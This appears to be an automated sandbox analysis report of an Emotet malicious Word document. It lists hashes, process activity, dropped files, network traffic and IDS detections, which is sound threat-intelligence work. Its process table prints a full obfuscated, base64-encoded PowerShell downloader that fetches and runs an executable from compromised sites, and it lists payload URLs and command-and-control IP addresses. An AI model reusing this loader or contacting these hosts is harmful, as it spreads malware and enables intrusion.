analyze malware
- Huge database of samples and IOCs
- Custom VM setup
- Unlimited submissions
- Interactive approach
| File name: | 9eecc34c60ce4fe6576a42fdb015b2b8.cmd |
| Full analysis: | https://app.any.run/tasks/3dd86814-59d2-45c4-8f64-2fb1235b8471 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | April 24, 2019, 07:12:13 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Apr 24 07:30:00 2019, Last Saved Time/Date: Wed Apr 24 07:30:00 2019, Number of Pages: 1, Number of Words: 2, Number of Characters: 12, Security: 0 |
| MD5: | 9EECC34C60CE4FE6576A42FDB015B2B8 |
| SHA1: | E75E292ED6C09C1BB566C0CB1EEC3616090FDECD |
| SHA256: | 8F2002168BBDFF63ED1E3E257D470AC5F3579A68A2412543F937CBE0E3E7D43E |
| SSDEEP: | 6144:kpFpzXNgICyVzU8IbOYq3LuZwCQCYRM/9P6Zp3+D:AF8Ib9FIblqKZwCQCwG64 |
MALICIOUS
Application was dropped or rewritten from another process
- 397.exe (PID: 2468)
- 397.exe (PID: 3800)
- soundser.exe (PID: 2072)
- soundser.exe (PID: 1440)
Emotet process was detected
- soundser.exe (PID: 2072)
Downloads executable files from the Internet
- powershell.exe (PID: 1480)
EMOTET was detected
- soundser.exe (PID: 1440)
Connects to CnC server
- soundser.exe (PID: 1440)
SUSPICIOUS
Executable content was dropped or overwritten
- powershell.exe (PID: 1480)
- 397.exe (PID: 2468)
Application launched itself
- 397.exe (PID: 3800)
Creates files in the user directory
- powershell.exe (PID: 1480)
Starts itself from another location
- 397.exe (PID: 2468)
Connects to server without host name
- soundser.exe (PID: 1440)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 2300)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2300)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | - |
| Author: | - |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:04:24 06:30:00 |
| ModifyDate: | 2019:04:24 06:30:00 |
| Pages: | 1 |
| Words: | 2 |
| Characters: | 12 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 13 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
39
Monitored processes
6
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2300 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\9eecc34c60ce4fe6576a42fdb015b2b8.cmd.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
| 1480 | powershell -e JABwAFgARwBBAEEAMQBEAD0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9ACIALQBmACcAWgB3AEEAJwAsACcAZABCAEEAJwAsACcAQgAxACcAKQA7ACQAcQBBAEEAUQB4ADEAQQAgAD0AIAAnADMAOQA3ACcAOwAkAEEAQgBVAFUAWgBBAD0AKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAGsAJwAsACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcARwBVACcALAAnAHcAQQAnACkALAAnAEcAJwApACkAOwAkAHoAQQBHAEEAWABBAFEAQQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAcQBBAEEAUQB4ADEAQQArACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAnAC4AZQAnACwAJwB4AGUAJwApADsAJABRADQAVQBfAEIARwBBAD0AKAAiAHsAMgB9AHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAEEAQQBBACcALAAnAGMAQQAnACwAJwBYACcAKQA7ACQAYwBjAEEANABVAEQAQgA9ACYAKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAZQBjACcAKwAnAHQAJwApACAAbgBlAHQALgBgAFcARQBiAEMAbABpAEUAYABOAFQAOwAkAFkAWgBCADQAawBRAD0AKAAiAHsAMQA2AH0AewA0ADMAfQB7ADQAOAB9AHsAMgA5AH0AewA3AH0AewAzADMAfQB7ADQANwB9AHsANAA0AH0AewAxADkAfQB7ADIAfQB7ADIAMgB9AHsAMwA0AH0AewAxADUAfQB7ADQANgB9AHsAMgAzAH0AewAxADIAfQB7ADgAfQB7ADEANAB9AHsAMgA2AH0AewA5AH0AewA0ADAAfQB7ADQAfQB7ADEANwB9AHsANAAxAH0AewAzADcAfQB7ADMAMgB9AHsAMgA0AH0AewAzADAAfQB7ADEAfQB7ADMAOQB9AHsAMQAxAH0AewAyADEAfQB7ADIAOAB9AHsAMwA4AH0AewAyADcAfQB7ADQANQB9AHsAMAB9AHsAMQAwAH0AewA1AH0AewAxADgAfQB7ADQAMgB9AHsAMgAwAH0AewAxADMAfQB7ADMAMQB9AHsAMgA1AH0AewA2AH0AewAzAH0AewAzADUAfQB7ADMANgB9ACIALQBmACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAcABpACcALAAnAG4AZgBvACcAKQAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBuAGcAJwAsACcALgBuACcAKQAsACgAIgB7ADEAfQB7ADAAfQB7ADIAfQAiACAALQBmACcAYQBkACcALAAnAC0AJwAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAC8AJwAsACcAbQBpAG4AJwApACkALAAoACIAewAwAH0AewAyAH0AewAxAH0AIgAtAGYAIAAnAGMAbwBtACcALAAoACIAewAxAH0AewAwAH0AIgAgAC0AZgAgACcAZQAvACcALAAnAGgAZQByACcAKQAsACcALwB0ACcAKQAsACcAcwAnACwAKAAiAHsAMQB9AHsAMgB9AHsAMAB9ACIAIAAtAGYAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAGMAbwBtACcALAAnAGEALgAnACkALAAnAG0AYQB0ACcALAAnAGkAYwAnACkALAAnAHMALgAnACwAJwBnAHkAbgAnACwAKAAiAHsAMQB9AHsAMAB9AHsAMgB9ACIALQBmACAAJwB0AHAAJwAsACcAcABoAGEAJwAsACcAaAAnACkALAAoACIAewAwAH0AewAxAH0AewAyAH0AIgAgAC0AZgAoACIAewAxAH0AewAyAH0AewAwAH0AIgAtAGYAJwBjAGwAJwAsACcALwB3AHAALQAnACwAJwBpAG4AJwApACwAJwB1ACcALAAnAGQAJwApACwAJwByACcALAAoACIAewAyAH0AewAwAH0AewAxAH0AIgAgAC0AZgAoACIAewAxAH0AewAwAH0AIgAtAGYAIAAnADIAMAAxACcALAAnAF8AJwApACwAJwA4ACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBuAHUAJwAsACcAbQBlACcAKQApACwAKAAiAHsAMQB9AHsAMgB9AHsAMAB9ACIAIAAtAGYAIAAnAGUAegAuACcALAAnAGEAZAAnACwAJwBzACcAKQAsACcAawAvAEAAJwAsACcAYQAnACwAJwBAAGgAdAAnACwAJwBoAHQAdAAnACwAJwAvAFYAJwAsACcALwAnACwAJwB3AHAAJwAsACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACAAJwB5AGoAJwAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBkAC8ASgAnACwAJwBvACcAKQApACwAJwAvAHYAMQAnACwAJwBQADUAcAAnACwAJwAvACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnADoAJwAsACcALwAvAGQAJwApACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAGcAJwAsACcAdQBkAHkAJwApACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAJwBuACcALAAoACIAewAxAH0AewAwAH0AIgAtAGYAJwBjAG8AbQAnACwAJwAuACcAKQApACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACcAOgAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAagBhACcALAAnAC8ALwAnACkAKQAsACcAMwBYACcALAAnAG8AJwAsACgAIgB7ADMAfQB7ADAAfQB7ADEAfQB7ADIAfQAiAC0AZgAgACcAZQBuACcALAAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAnAGcAJwAsACcAaQBuAGUAZQAnACkALAAnAHIAaQAnACwAJwBrAHcALQAnACkALAAoACIAewAyAH0AewAwAH0AewAxAH0AIgAgAC0AZgAgACcAdABwACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnADoALwAnACwAJwAvAGoAJwApACwAJwBoAHQAJwApACwAJwBwACcALAAnAC0AJwAsACcAZQAvACcALAAnAEkAJwAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAVQAnACwAJwBHAEUALwAnACkALAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAEAAaAAnACwAJwB0AHQAJwApACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBwACcALAAoACIAewAxAH0AewAwAH0AewAyAH0AIgAgAC0AZgAgACcALwBAAGgAJwAsACcATAAnACwAJwB0AHQAJwApACkALAAnAGUAdAAvACcALAAnAGUAJwAsACcAegBqAC8AJwAsACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiACAALQBmACcAYgBvACcALAAnAHgAJwAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAYwBsACcALAAnAG8AdQAnACkAKQAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAcAA6ACcALAAnAC8ALwB1ACcAKQAsACgAIgB7ADIAfQB7ADAAfQB7ADEAfQB7ADMAfQAiACAALQBmACAAKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAJwBvAHAAcwAuACcALAAnAGMAJwApACwAJwBvAG0AJwAsACcAcwBoACcALAAnAC8AJwApACwAJwBzACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAJwB0ACcALAAnAHAAOgAvACcAKQAsACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACAAJwByAGsAJwAsACcAdwBvACcAKQAsACcAcgAnACkALgAiAFMAcABMAGAAaQB0ACIAKAAnAEAAJwApADsAJABKAEEAQwBRAGMAQQA9ACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAQwAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAEEAJwAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAEEAQQAnACwAJwBBAG8AJwApACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHEAXwBBAEcAYwBBAFUAawAgAGkAbgAgACQAWQBaAEIANABrAFEAKQB7AHQAcgB5AHsAJABjAGMAQQA0AFUARABCAC4AIgBEAG8AdwBuAGwATwBhAGQAYABGAGAAaQBgAGwARQAiACgAJABxAF8AQQBHAGMAQQBVAGsALAAgACQAegBBAEcAQQBYAEEAUQBBACkAOwAkAGYAQQBHAGMAMQBfAEEAUQA9ACgAIgB7ADEAfQB7ADAAfQB7ADIAfQAiAC0AZgAgACcAVQBRAFUAJwAsACcAQwAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAEEAQQBRACcALAAnAEQAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQAnACsAJwBJAHQAZQBtACcAKQAgACQAegBBAEcAQQBYAEEAUQBBACkALgAiAGwAZQBOAEcAYABUAEgAIgAgAC0AZwBlACAAMgAwADYAOQA0ACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2AG8AawBlACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAHoAQQBHAEEAWABBAFEAQQA7ACQAcwBBAEQAWABEAFEAQQA9ACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAoACIAewAwAH0AewAxAH0AIgAgAC0AZgAgACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAZABBACcALAAnADQANAAnACkALAAnADEAJwApACwAJwBVACcAKQA7AGIAcgBlAGEAawA7ACQAbQBBAHgAWABRADEAWABaAD0AKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAJwBqACcALAAoACIAewAwAH0AewAyAH0AewAxAH0AIgAtAGYAJwBBACcALAAnAFUAJwAsACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAnAFEAQQAnACwAJwBrAEEAJwApACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBRAEEAVQBEAEEAYwBrAD0AKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAEIAQgBBACcALAAnAEkARAB4ACcAKQA= | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WmiPrvSE.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 3800 | "C:\Users\admin\397.exe" | C:\Users\admin\397.exe | — | powershell.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 2468 | --cef0bf6f | C:\Users\admin\397.exe | 397.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 2072 | "C:\Users\admin\AppData\Local\soundser\soundser.exe" | C:\Users\admin\AppData\Local\soundser\soundser.exe | 397.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
| 1440 | --3ab57678 | C:\Users\admin\AppData\Local\soundser\soundser.exe | soundser.exe | |
User: admin Integrity Level: MEDIUM | ||||
Total events
1 715
Read events
1 234
Write events
0
Delete events
0
Modification events
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2300 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR62FB.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 1480 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\W4J4IU88MD0ZK1FAE47F.temp | — | |
MD5:— | SHA256:— | |||
| 1480 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:131DC75F6D4142CA9244945A91A71E8D | SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4 | |||
| 2300 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:E726D15A5DC5D747ED8C37DEE453B9B8 | SHA256:89815953F6B41B6AA969569AA4A39EF4744572527E8756159D2BB1B6E5420724 | |||
| 1480 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFe7105.TMP | binary | |
MD5:131DC75F6D4142CA9244945A91A71E8D | SHA256:F17C463C77B5DA9E795770A82E0A7FB1023023F44397F6E080721E9811B2A0C4 | |||
| 2300 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:0CD012ABDF1C88286417DACA7FC8853D | SHA256:E80B4D895DC84E27F5CDA8C7CB2B01E39EDABB32E17FA777B256C9FFFCAF5EFC | |||
| 2468 | 397.exe | C:\Users\admin\AppData\Local\soundser\soundser.exe | executable | |
MD5:F3554F93E653108C6CF12EDD54DB05AE | SHA256:E350EFD69893B28033DFA6BA293F402C04281453C766022A266AE6BE6FBE31AA | |||
| 1480 | powershell.exe | C:\Users\admin\397.exe | executable | |
MD5:F3554F93E653108C6CF12EDD54DB05AE | SHA256:E350EFD69893B28033DFA6BA293F402C04281453C766022A266AE6BE6FBE31AA | |||
| 2300 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$ecc34c60ce4fe6576a42fdb015b2b8.cmd.doc | pgc | |
MD5:AFB3F9982D5044D0FB380269DDF6317E | SHA256:E0A79941C1A5CABC044E1850BB0BBC1CDE1BD0C4029EFB2CF0A95DB4B0778480 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
1
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
1480 | powershell.exe | GET | 200 | 107.180.12.18:80 | http://urogyn-workshops.com/wp-admin/P5pe/ | US | executable | 78.0 Kb | suspicious |
1440 | soundser.exe | POST | — | 24.150.44.53:80 | http://24.150.44.53/teapot/iplk/ringin/ | CA | — | — | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
1440 | soundser.exe | 181.142.29.90:80 | — | EPM Telecomunicaciones S.A. E.S.P. | CO | malicious |
1440 | soundser.exe | 24.150.44.53:80 | — | Cogeco Cable | CA | malicious |
1480 | powershell.exe | 107.180.12.18:80 | urogyn-workshops.com | GoDaddy.com, LLC | US | suspicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
urogyn-workshops.com |
| suspicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
1480 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
1480 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
1480 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
1440 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
2 ETPRO signatures available at the full report